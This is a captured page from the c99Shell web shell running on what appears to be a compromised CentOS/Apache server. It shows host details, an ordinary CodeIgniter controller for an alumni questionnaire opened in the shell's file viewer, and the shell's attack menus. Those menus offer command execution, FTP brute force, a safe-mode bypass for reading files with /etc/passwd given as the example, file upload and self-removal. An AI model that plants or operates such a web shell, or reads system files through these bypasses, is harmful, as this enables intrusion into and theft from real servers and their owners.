!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/controllers/ealumni/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     timeqn.php (3.23 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('ea_controller.php');
class 
Timeqn extends Ea_controller {

//    function __construct() {
//        parent::Controller();
//    }

    
function showTimeQn() {
        
$this->load->model($this->config->item("ea_folder").'m_alumnimain','am');
        
$this->load->model($this->config->item("ea_folder").'m_timeqn','tq');

        
// ##### เพิ่มปีจบเอง ######
        
$showTb $this->input->post('showTb');
        
$add_graduateY $this->input->post('add_graduateY');
        if(
$add_graduateY==|| $showTb==1) {
            
$this->contents['showTb'] = 1;
        }
        
// ##### จบเพิ่มปีจบเอง ######

        // ##### แก้ไข ######
        
$seqId $this->input->post('seqId');
        
$this->tq->seqId $seqId;
        
$this->contents['qu_tq'] = $this->tq->get_by_key();
        
// ##### จบแก้ไข ######

        
$ord_rs_tq = array('graduateY'    => 'DESC');
        
$this->contents['rs_tq'] = $this->tq->qryTq('',$ord_rs_tq);

        
$this->contents['rs_graduateY'] = $this->am->get_optionsDistinctGraduateY();

        
$this->output($this->config->item("ea_folder")."v_showTimeQn");
    }

    function 
processTimeQn() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('graduateY',' ','trim|required|callback_checkAdY|is_natural_no_zero|xss_clean');
        
$this->form_validation->set_rules('startDate',' ','trim|xss_clean');
        
$this->form_validation->set_rules('endDate',' ','trim|callback_checkFrDate[startDate]|xss_clean');
        
$this->form_validation->set_rules('seqId',' ','trim|xss_clean');
        
$this->form_validation->set_rules('showTb',' ','trim|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("ea_folder").'m_timeqn','tq');

            
$graduateY $this->input->post('graduateY');
            
$startDate splitDateForm2($this->input->post('startDate'),'-');
            
$endDate splitDateForm2($this->input->post('endDate'),'-');
            
$seqId $this->input->post('seqId');

            
$con_qu_tm = array('graduateY'    => $graduateY);
            
$qu_tm $this->tq->qryTq($con_qu_tm);
            if(
$qu_tm->num_rows()==0) {
                
$this->tq->seqId '';
                
$this->tq->graduateY $graduateY;
                
$this->tq->startDate $startDate;
                
$this->tq->endDate $endDate;
                
$this->tq->tqUserId $this->session->userdata('UsLogin');
                
$this->tq->tqUserUpdate date('Y-m-d H:i:s');
                
$this->tq->insert();
            } else {
                
$this->tq->seqId $seqId;
                
$this->tq->graduateY $graduateY;
                
$this->tq->startDate $startDate;
                
$this->tq->endDate $endDate;
                
$this->tq->tqUserId $this->session->userdata('UsLogin');
                
$this->tq->tqUserUpdate date('Y-m-d H:i:s');
                
$this->tq->update();
            }

            
redirect($this->config->item("ea_folder")."timeqn/showTimeQn");
        } else {
            
$this->showTimeQn();
        }
    }

    function 
deleteTimeQn() {
        
$this->load->model($this->config->item("ea_folder").'m_timeqn','tq');
        
        
$seqId $this->input->post('seqId');

        
$this->db->trans_begin();
        
$this->tq->seqId $seqId;
        
$this->tq->delete();

        if(
$this->db->trans_status() === false) {
            
$this->db->trans_rollback();
        } else {
            
$this->db->trans_commit();
        }

        
redirect($this->config->item("ea_folder")."timeqn/showTimeQn");
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--